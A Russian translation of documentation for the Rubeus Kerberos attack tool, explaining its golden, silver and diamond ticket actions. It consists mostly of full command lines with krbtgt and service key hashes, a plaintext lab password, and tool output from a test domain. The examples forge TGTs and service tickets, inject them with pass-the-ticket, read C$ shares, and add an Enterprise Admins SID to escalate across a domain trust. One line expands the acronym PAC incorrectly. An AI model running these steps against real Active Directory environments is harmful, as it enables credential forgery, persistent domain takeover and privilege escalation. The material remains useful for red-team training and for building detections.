Второй LDAP-запрос будет отправлен, если в командной строке не указаны /groups, /pgid, /minpassage ИЛИ /maxpassage. Если любой из этих аргументов указан в командной строке, запрос LDAP для получения этой информации будет пропущен. Этот запрос получает группы, членом которых является пользователь, включая основную группу, а также объект политики домена (используется для получения пути к файлу политики). Если /minpassage или /maxpassage не указаны в командной строке и объект политики домена получен из LDAP, монтируется общий ресурс SYSVOL контроллера домена и разбирается файл политики для получения значений MinimumPasswordAge (для установки правильного значения поля PasswordCanChange в PAC) и MaximumPasswordAge (для установки правильного значения поля PasswordMustChange в PAC).
Наконец, если аргумент /netbios не указан в командной строке, LDAP-запрос для получения правильного NetBIOS-имени домена выполняется из контейнера Configuration для установки поля LogonDomainName в PAC. Если флаг /ldap не указан в командной строке и аргумент /netbios также не указан, первый элемент (до первой точки '.') приводится к верхнему регистру и используется вместо этого.
Флаг /printcmd можно использовать для печати аргументов, необходимых для генерации другого тикета, содержащего ту же информацию PAC, что и текущий тикет. Это не будет печатать аргументы, связанные со временем действия тикета, поскольку они, скорее всего, потребуются другие для любых будущих тикетов, которые вы хотите подделать.
Действие golden подделает TGT для пользователя /user:X, шифруя тикет хешем, переданным через /des:X, /rc4:X, /aes128:X или /aes256:X, и используя тот же ключ для создания ServerChecksum и KDCChecksum. Различные аргументы для ручной установки полей описаны выше, или можно использовать флаг /ldap для автоматического получения информации с контроллера домена.
Переключатель /oldpac можно использовать, чтобы исключить новые буферы PAC_INFO_BUFFER Requestor и Attributes, добавленные в ответ на CVE-2021-42287.
Переключатель /extendedupndns включит новые расширенные элементы UpnDns. Это включает добавление 2 к флагам, а также содержит samaccountname и account SID.
Параметр /rodcNumber:x был добавлен для выполнения Kerberos Key List Requests. Значение этого параметра — число, указанное после krbtgt_x в атрибуте msDS-KrbTgtLink контроллера домена только для чтения, например, krbtgt_12345 будет 12345. Этот запрос требует определенных флагов, которые можно установить с помощью /flags:forwardable,renewable,enc_pa_rep. Ключ (/des:X, /rc4:X, /aes128:X или /aes256:X), используемый для шифрования, — это ключ учетной записи KRBTGT_x. Дополнительную информацию можно найти в блоге Элада Шамира здесь.
Подделка TGT с использованием флага /ldap для получения информации и флага /printcmd для печати команды для подделки другого тикета с той же информацией PAC:
C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /printcmd
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Действие: Построение TGT
[*] Попытка LDAP-запроса через LDAPS для информации о пользователе на контроллере домена PDC1.rubeus.ghostpack.local
[*] Поиск по пути 'DC=rubeus,DC=ghostpack,DC=local' для '(samaccountname=harmj0y)'
[*] Получение информации о политике домена через LDAP от контроллера домена PDC1.rubeus.ghostpack.local
[*] Поиск по пути 'DC=rubeus,DC=ghostpack,DC=local' для '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Попытка монтирования: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL успешно смонтирован
[*] Попытка демонтирования: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL успешно демонтирован
[*] Получение информации о NetBIOS-имени через LDAP от контроллера домена PDC1.rubeus.ghostpack.local
[*] Поиск по пути 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' для '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Построение PAC
[*] Домен : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1106
[*] Groups : 513
[*] ServiceKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] ServiceKeyType: KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : krbtgt
[*] Цель : rubeus.ghostpack.local
[*] Генерация EncTicketPart
[*] Подписание PAC
[*] Шифрование EncTicketPart
[*] Генерация тикета
[*] Сгенерирован KERB-CRED
[*] Подделан TGT для 'harmj0y@rubeus.ghostpack.local'
[*] AuthTime : 29/07/2021 00:12:40
[*] StartTime : 29/07/2021 00:12:40
[*] EndTime : 29/07/2021 10:12:40
[*] RenewTill : 05/08/2021 00:12:40
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Печать команды для воссоздания тикета, содержащего информацию, использованную в этом тикете
Команда «golden» позволяет создать (подделать) TGT (билет предоставления доступа) для указанного пользователя. Это достигается путем построения PAC (контроля доступа к протоколу) и шифрования билета ключом службы.
Вот базовый пример:
C:\Rubeus\Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED
Подделка TGT с явным указанием всех параметров в командной строке:
C:\Rubeus>Rubeus.exe golden /aes256:6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5 /user:harmj0y /id:1106 /pgid:513 /domain:rubeus.ghostpack.local /sid:S-1-5-21-3237111427-1607930709-3979055039 /pwdlastset:"14/07/2021 02:07:12" /minpassage:1 /logoncount:16 /displayname:"Harm J0y" /netbios:RUBEUS /groups:513 /dc:PDC1.rubeus.ghostpack.local /uac:NORMAL_ACCOUNT,DONT_EXPIRE_PASSWORD,NOT_DELEGATED
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Действие: Создание TGT
[*] Построение PAC
[*] Домен : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] Идентификатор пользователя: 1106
[*] Группы : 513
[*] Ключ службы : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] Тип ключа службы : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Ключ KDC : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] Тип ключа KDC : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Служба : krbtgt
[*] Цель : rubeus.ghostpack.local
[*] Генерация EncTicketPart
[*] Подписание PAC
[*] Шифрование EncTicketPart
[*] Генерация билета
[*] Сгенерирован KERB-CRED
[*] Подделан TGT для 'harmj0y@rubeus.ghostpack.local'
[*] Время аутентификации: 29/07/2021 00:18:19
[*] Время начала : 29/07/2021 00:18:19
[*] Время окончания: 29/07/2021 10:18:19
[*] Продление до : 05/08/2021 00:18:19
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(сокращено)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
Создание 5 TGT, начинающихся в разные дни с интервалом в 1 день, при этом первый билет создается "сейчас", а для получения информации PAC используется LDAP:
C:\Rubeus>Rubeus.exe golden /aes256:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /ldap /user:harmj0y /rangeend:5d /rangeinterval:1d
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Действие: Создание TGT
[*] Попытка запроса LDAP через LDAPS для получения информации о пользователе на контроллере домена PDC1.rubeus.ghostpack.local
[*] Поиск по пути 'DC=rubeus,DC=ghostpack,DC=local' по критерию '(samaccountname=harmj0y)'
[*] Извлечение информации политик домена через LDAP с контроллера домена PDC1.rubeus.ghostpack.local
[*] Поиск по пути 'DC=rubeus,DC=ghostpack,DC=local' по критерию '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Попытка подключения: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL успешно подключен
[*] Попытка отключения: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL успешно отключен
[*] Извлечение информации о NetBIOS-имени через LDAP с контроллера домена PDC1.rubeus.ghostpack.local
[*] Поиск по пути 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' по критерию '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Построение PAC
[*] Домен : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] Идентификатор пользователя: 1106
[*] Группы : 513
[*] Ключ службы : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] Тип ключа службы : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Ключ KDC : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] Тип ключа KDC : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Служба : krbtgt
[*] Цель : rubeus.ghostpack.local
[*] Генерация EncTicketPart
[*] Подписание PAC
[*] Шифрование EncTicketPart
[*] Генерация билета
[*] Сгенерирован KERB-CRED
[*] Подделан TGT для 'harmj0y@rubeus.ghostpack.local'
[*] Время аутентификации: 29/07/2021 00:22:38
[*] Время начала : 29/07/2021 00:22:38
[*] Время окончания: 29/07/2021 10:22:38
[*] Продление до : 05/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(сокращено)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Генерация EncTicketPart
[*] Подписание PAC
[*] Шифрование EncTicketPart
[*] Генерация билета
[*] Сгенерирован KERB-CRED
[*] Подделан TGT для 'harmj0y@rubeus.ghostpack.local'
[*] Время аутентификации: 30/07/2021 00:22:38
[*] Время начала : 30/07/2021 00:22:38
[*] Время окончания: 30/07/2021 10:22:38
[*] Продление до : 06/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(сокращено)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Генерация EncTicketPart
[*] Подписание PAC
[*] Шифрование EncTicketPart
[*] Генерация билета
[*] Сгенерирован KERB-CRED
[*] Подделан TGT для 'harmj0y@rubeus.ghostpack.local'
[*] Время аутентификации: 31/07/2021 00:22:38
[*] Время начала : 31/07/2021 00:22:38
[*] Время окончания: 31/07/2021 10:22:38
[*] Продление до : 07/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(сокращено)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Генерация EncTicketPart
[*] Подписание PAC
[*] Шифрование EncTicketPart
[*] Генерация билета
[*] Сгенерирован KERB-CRED
[*] Подделан TGT для 'harmj0y@rubeus.ghostpack.local'
[*] Время аутентификации: 01/08/2021 00:22:38
[*] Время начала : 01/08/2021 00:22:38
[*] Время окончания: 01/08/2021 10:22:38
[*] Продление до : 08/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(сокращено)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
[*] Генерация EncTicketPart
[*] Подписание PAC
[*] Шифрование EncTicketPart
[*] Генерация билета
[*] Сгенерирован KERB-CRED
[*] Подделан TGT для 'harmj0y@rubeus.ghostpack.local'
[*] Время аутентификации: 02/08/2021 00:22:38
[*] Время начала : 02/08/2021 00:22:38
[*] Время окончания: 02/08/2021 10:22:38
[*] Продление до : 09/08/2021 00:22:38
[*] base64(ticket.kirbi):
doIFdTCCBXGgAwIBBaEDAgEWooIERDCCBEBhggQ8MIIEOKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(сокращено)...
dWJldXMuZ2hvc3RwYWNrLmxvY2Fs
Команда silver создает (подделывает) билет для пользователя /user:X и службы /service:SPN, шифруя билет хешем, переданным в /des:X, /rc4:X, /aes128:X или /aes256:X, и используя тот же ключ для создания ServerChecksum. Если передан аргумент /krbkey:X, он будет использоваться для создания KDCChecksum и TicketChecksum (если служба не является krbtgt/domain.com или domain.com отличается от области, используемой в билете, т.е. это билет перенаправления), в противном случае используется тот же ключ, что и для шифрования билета. Если krbenctype:X не передан, для KDCChecksum и TicketChecksum предполагается тот же тип шифрования, что и у ключа службы.
Аргументы /cname:X и /crealm:X можно использовать для указания различных значений для соответствующих полей в EncTicketPart (зашифрованной части билета), это иногда наблюдается в билетах делегирования перенаправления. Секцию PAC S4UDelegationInfo можно добавить, передав аргументы /s4uproxytarget:X и /s4utransitedservices:SPN1,SPN2,..., эта секция указывает конечную цель для делегирования и список SPN, через которые прошло делегирование.
Флаг /authdata позволяет добавить некоторые стандартные секции данных авторизации в EncTicketPart, по умолчанию это включает секцию KERB-LOCAL и секцию KERB-AD-RESTRICTION-ENTRY с некоторыми значениями по умолчанию.
Флаг /nofullpacsig исключит новую FullPacChecksum, введенную для решения уязвимости CVE-2022-37967. Эта подпись по умолчанию включается в любые билеты, не защищенные ключом krbtgt.
Подделка билета сервиса для cifs/SQL1.rubeus.ghostpack.local от имени пользователя ccob с использованием сервисного хеша пароля RC4 и подписыванием KDCChecksum и TicketChecksum правильным ключом AES256 KRBTGT, с использованием LDAP с альтернативными учетными данными для получения информации PAC:
C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$
The user name or password is incorrect.
C:\Rubeus>Rubeus.exe silver /service:cifs/SQL1.rubeus.ghostpack.local /rc4:f74b07eb77caa52b8d227a113cb649a6 /ldap /creduser:rubeus.ghostpack.local\Administrator /credpassword:Password1 /user:ccob /krbkey:6a8941dcb801e0bf63444b830e5faabec24b442118ec60def839fd47a10ae3d5 /krbenctype:aes256 /domain:rubeus.ghostpack.local /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Действие: Построить TGS
[*] Попытка запросить LDAP через LDAPS для получения информации о пользователе на контроллере домена PDC1.rubeus.ghostpack.local
[*] Поиск по пути 'DC=rubeus,DC=ghostpack,DC=local' для '(samaccountname=ccob)'
[*] Получение информации о группах и политике домена через LDAP от контроллера домена PDC1.rubeus.ghostpack.local
[*] Поиск по пути 'DC=rubeus,DC=ghostpack,DC=local' для '(|(distinguishedname=CN=Domain Admins,CN=Users,DC=rubeus,DC=ghostpack,DC=local)(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Попытка монтирования: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL успешно смонтировано
[*] Попытка размонтирования: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL успешно размонтировано
[*] Получение информации о NetBIOS-имени через LDAP от контроллера домена PDC1.rubeus.ghostpack.local
[!] Не удалось запросить корень леса с помощью System.DirectoryServices.ActiveDirectory.Forest, предполагается, что rubeus.ghostpack.local является корнем леса
[*] Поиск по пути 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' для '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Построение PAC
[*] Домен : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1109
[*] Groups : 512,513
[*] ServiceKey : F74B07EB77CAA52B8D227A113CB649A6
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey : 6A8941DCB801E0BF63444B830E5FAABEC24B442118EC60DEF839FD47A10AE3D5
[*] KDCKeyType : KERB_CHECKSUM_HMAC_SHA1_96_AES256
[*] Service : cifs
[*] Target : SQL1.rubeus.ghostpack.local
[*] Генерация EncTicketPart
[*] Подписывание PAC
[*] Шифрование EncTicketPart
[*] Генерация билета
[*] Сгенерирован KERB-CRED
[*] Подделан TGS для 'ccob' к 'cifs/SQL1.rubeus.ghostpack.local'
[*] AuthTime : 29/07/2021 01:00:23
[*] StartTime : 29/07/2021 01:00:23
[*] EndTime : 29/07/2021 11:00:23
[*] RenewTill : 05/08/2021 01:00:23
[*] base64(ticket.kirbi):
doIFZTCCBWGgAwIBBaEDAgEWooIESDCCBERhggRAMIIEPKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
bG9jYWw=
[+] Билет успешно импортирован!
C:\Rubeus>dir \\SQL1.rubeus.ghostpack.local\c$
Volume in drive \\SQL1.rubeus.ghostpack.local\c$ has no label.
Volume Serial Number is 1AD6-20BE
Directory of \\SQL1.rubeus.ghostpack.local\c$
15/09/2018 08:19 <DIR> PerfLogs
20/07/2021 18:17 <DIR> Program Files
20/07/2021 18:17 <DIR> Program Files (x86)
21/07/2021 01:53 <DIR> Rubeus
20/07/2021 21:02 <DIR> temp
20/07/2021 22:31 <DIR> Users
20/07/2021 18:18 <DIR> Windows
0 File(s) 0 bytes
7 Dir(s) 124,275,159,040 bytes free
Подделка перенаправляющего TGT для доверенного домена, с использованием LDAP для получения информации PAC:
C:\Rubeus>Rubeus.exe silver /user:exploitph /ldap /service:krbtgt/dev.rubeus.ghostpack.local /rc4:856a1023055848748e7b9d505ebe0e02
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Действие: Построить TGS
[*] Попытка запросить LDAP через LDAPS для получения информации о пользователе на контроллере домена PDC1.rubeus.ghostpack.local
[*] Поиск по пути 'DC=rubeus,DC=ghostpack,DC=local' для '(samaccountname=exploitph)'
[*] Получение информации о политике домена через LDAP от контроллера домена PDC1.rubeus.ghostpack.local
[*] Поиск по пути 'DC=rubeus,DC=ghostpack,DC=local' для '(|(objectsid=S-1-5-21-3237111427-1607930709-3979055039-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Попытка монтирования: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL успешно смонтировано
[*] Попытка размонтирования: \\pdc1.rubeus.ghostpack.local\SYSVOL
[*] \\pdc1.rubeus.ghostpack.local\SYSVOL успешно размонтировано
[*] Получение информации о NetBIOS-имени через LDAP от контроллера домена PDC1.rubeus.ghostpack.local
[*] Поиск по пути 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' для '(&(netbiosname=*)(dnsroot=rubeus.ghostpack.local))'
[*] Построение PAC
[*] Домен : RUBEUS.GHOSTPACK.LOCAL (RUBEUS)
[*] SID : S-1-5-21-3237111427-1607930709-3979055039
[*] UserId : 1104
[*] Groups : 513
[*] ServiceKey : 856A1023055848748E7B9D505EBE0E02
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey : 856A1023055848748E7B9D505EBE0E02
[*] KDCKeyType : KERB_CHECKSUM_HMAC_MD5
[*] Service : krbtgt
[*] Target : dev.rubeus.ghostpack.local
[*] Генерация EncTicketPart
[*] Подписывание PAC
[*] Шифрование EncTicketPart
[*] Генерация билета
[*] Сгенерирован KERB-CRED
[*] Подделан TGT для 'exploitph@rubeus.ghostpack.local'
[*] AuthTime : 29/07/2021 02:45:54
[*] StartTime : 29/07/2021 02:45:54
[*] EndTime : 29/07/2021 12:45:54
[*] RenewTill : 05/08/2021 02:45:54
[*] base64(ticket.kirbi):
doIFojCCBZ6gAwIBBaEDAgEWooIEfjCCBHphggR2MIIEcqADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
LmxvY2Fs
Этот билет затем можно использовать для запроса билетов сервиса в доверенном домене с помощью asktgs:
C:\Rubeus>Rubeus.exe asktgs /service:cifs/devdc1.dev.rubeus.ghostpack.local /dc:devdc1.dev.rubeus.ghostpack.local /ticket:doIFojCCBZ6gAwIBBa...(snip)...NrLmxvY2Fs
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Действие: Запросить TGS
[*] Используем контроллер домена: devdc1.dev.rubeus.ghostpack.local (192.168.71.85)
[*] Запрос стандартных etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) для билета сервиса
[*] Построение TGS-REQ запроса для: 'cifs/devdc1.dev.rubeus.ghostpack.local'
[+] TGS запрос успешен!
[*] base64(ticket.kirbi):
doIFrzCCBaugAwIBBaEDAgEWooIEgzCCBH9hggR7MIIEd6ADAgEFoRwbGkRFVi5SVUJFVVMuR0hPU1RQ
...(snip)...
ZXVzLmdob3N0cGFjay5sb2NhbA==
ServiceName : cifs/devdc1.dev.rubeus.ghostpack.local
ServiceRealm : DEV.RUBEUS.GHOSTPACK.LOCAL
UserName : exploitph
UserRealm : RUBEUS.GHOSTPACK.LOCAL
StartTime : 29/07/2021 02:51:05
EndTime : 29/07/2021 12:45:54
RenewTill : 05/08/2021 02:45:54
Flags : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
Тип ключа : aes256_cts_hmac_sha1 Base64(ключ) : v1Bnp3plKCePeRpg1hrtYkI7bPDk6vw5uoj5MBNSThw=
Сформируйте реферальный TGT для dev.ccob@dev.rubeus.ghostpack.local для родительского домена rubeus.ghostpack.local и включите SID группы Администраторы предприятия:
C:\Rubeus>Rubeus.exe silver /user:dev.ccob /ldap /service:krbtgt/rubeus.ghostpack.local /rc4:856a1023055848748e7b9d505ebe0e02 /sids:S-1-5-21-3237111427-1607930709-3979055039-519 /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Действие: Построение TGS
[*] Попытка запросить LDAP через LDAPS для получения информации о пользователе на контроллере домена DevDC1.dev.rubeus.ghostpack.local
[*] Поиск по пути 'DC=dev,DC=rubeus,DC=ghostpack,DC=local' для '(samaccountname=dev.ccob)'
[*] Получение информации о политике домена через LDAP с контроллера домена DevDC1.dev.rubeus.ghostpack.local
[*] Поиск по пути 'DC=dev,DC=rubeus,DC=ghostpack,DC=local' для '(|(objectsid=S-1-5-21-2065789546-4129202522-221898516-513)(name={31B2F340-016D-11D2-945F-00C04FB984F9}))'
[*] Попытка подключения: \\devdc1.dev.rubeus.ghostpack.local\SYSVOL
[*] Успешное подключение к \\devdc1.dev.rubeus.ghostpack.local\SYSVOL
[*] Попытка отключения: \\devdc1.dev.rubeus.ghostpack.local\SYSVOL
[*] Успешное отключение от \\devdc1.dev.rubeus.ghostpack.local\SYSVOL
[*] Получение информации о имени NetBIOS через LDAP с контроллера домена DevDC1.dev.rubeus.ghostpack.local
[*] Поиск по пути 'CN=Configuration,DC=rubeus,DC=ghostpack,DC=local' для '(&(netbiosname=*)(dnsroot=dev.rubeus.ghostpack.local))'
[*] Построение PAC
[*] Домен : DEV.RUBEUS.GHOSTPACK.LOCAL (DEV)
[*] SID : S-1-5-21-2065789546-4129202522-221898516
[*] UserId : 1107
[*] Groups : 513
[*] ExtraSIDs : S-1-5-21-3237111427-1607930709-3979055039-519
[*] ServiceKey : 856A1023055848748E7B9D505EBE0E02
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey : 856A1023055848748E7B9D505EBE0E02
[*] KDCKeyType : KERB_CHECKSUM_HMAC_MD5
[*] Сервис : krbtgt
[*] Цель : rubeus.ghostpack.local
[*] Генерация EncTicketPart
[*] Подписание PAC
[*] Шифрование EncTicketPart
[*] Генерация билета
[*] Сгенерирован KERB-CRED
[*] Сформирован TGT для 'dev.ccob@dev.rubeus.ghostpack.local'
[*] AuthTime : 29/07/2021 03:03:34
[*] StartTime : 29/07/2021 03:03:34
[*] EndTime : 29/07/2021 13:03:34
[*] RenewTill : 05/08/2021 03:03:34
[*] base64(ticket.kirbi):
doIF0TCCBc2gAwIBBaEDAgEWooIEqTCCBKVhggShMIIEnaADAgEFoRwbGkRFVi5SVUJFVVMuR0hPU1RQ
...(snip)...
G9zdHBhY2subG9jYWw=
Этот реферальный TGT затем можно использовать для запроса сервисных билетов для сервисов в rubeus.ghostpack.local с помощью команды asktgs и получения привилегий группы Администраторы предприятия:
C:\Rubeus>Rubeus.exe asktgs /service:cifs/pdc1.rubeus.ghostpack.local /dc:pdc1.rubeus.ghostpack.local /ptt /ticket:doIF0TCCBc2gAwIBBaE...(snip)...cy5naG9zdHBhY2subG9jYWw=
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0
[*] Действие: Запрос TGS
[*] Используется контроллер домена: pdc1.rubeus.ghostpack.local (192.168.71.80)
[*] Запрос стандартных типов шифрования (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) для сервисного билета
[*] Построение TGS-REQ запроса для: 'cifs/pdc1.rubeus.ghostpack.local'
[+] Запрос TGS выполнен успешно!
[+] Билет успешно импортирован!
[*] base64(ticket.kirbi):
doIF9zCCBfOgAwIBBaEDAgEWooIE1DCCBNBhggTMMIIEyKADAgEFoRgbFlJVQkVVUy5HSE9TVFBBQ0su
...(snip)...
ZnMbG3BkYzEucnViZXVzLmdob3N0cGFjay5sb2NhbA==
Имя сервиса : cifs/pdc1.rubeus.ghostpack.local
Домен сервиса : RUBEUS.GHOSTPACK.LOCAL
Имя пользователя : dev.ccob
Домен пользователя : DEV.RUBEUS.GHOSTPACK.LOCAL
Время начала : 29/07/2021 03:04:26
Время окончания : 29/07/2021 13:03:34
Продление до : 05/08/2021 03:03:34
Флаги : name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
Тип ключа : aes256_cts_hmac_sha1
Base64(ключ) : lQGdcWT5/cacHGFko3fDJvF9poFK+tH5hctlDN89peY=
C:\Rubeus>dir \\pdc1.rubeus.ghostpack.local\c$
Volume in drive \\pdc1.rubeus.ghostpack.local\c$ has no label.
Volume Serial Number is 3C5F-0EF1
Directory of \\pdc1.rubeus.ghostpack.local\c$
30/06/2021 02:13 <DIR> inetpub
15/09/2018 08:19 <DIR> PerfLogs
09/06/2021 17:45 <DIR> Program Files
09/06/2021 17:45 <DIR> Program Files (x86)
14/07/2021 01:18 <DIR> Rubeus
19/07/2021 20:48 <DIR> temp
30/06/2021 02:14 <DIR> Users
14/07/2021 02:17 <DIR> Windows
0 File(s) 0 bytes
8 Dir(s) 94,901,772,288 bytes free
Действие diamond формирует алмазный TGT, модифицируя TGT, запрошенный для пользователя с использованием указанных аргументов. Сначала будет запрошен TGT для указанного пользователя и ключа шифрования (/rc4, /aes128, /aes256 или /des). Вместо хеша также можно использовать флаг /password, в этом случае /enctype:X по умолчанию установит RC4 для обмена, с доступными вариантами des|aes128|aes256. Альтернативно, поддерживается аутентификация PKINIT с аргументом /certificate:X. Если закрытый ключ в файле PFX защищен паролем, этот пароль можно передать с помощью аргумента /password:X. Наконец, можно передать флаг /tgtdeleg для запроса TGT с использованием трюка tgtdeleg. Аргумент /krbkey:X используется для расшифровки билета, его повторного подписания после внесения изменений и повторного шифрования билета.
Если не указан /domain, текущий домен компьютера будет извлечен автоматически, и если не указан /dc, то же самое произойдет для текущего контроллера домена системы. Флаг /ptt выполнит "передачу билета" (pass-the-ticket) и применит полученные учетные данные Kerberos к текущей сессии входа. Флаг /luid:0xA.. применит билет к указанному ID сессии входа (требуется повышение прав) вместо текущей сессии входа.
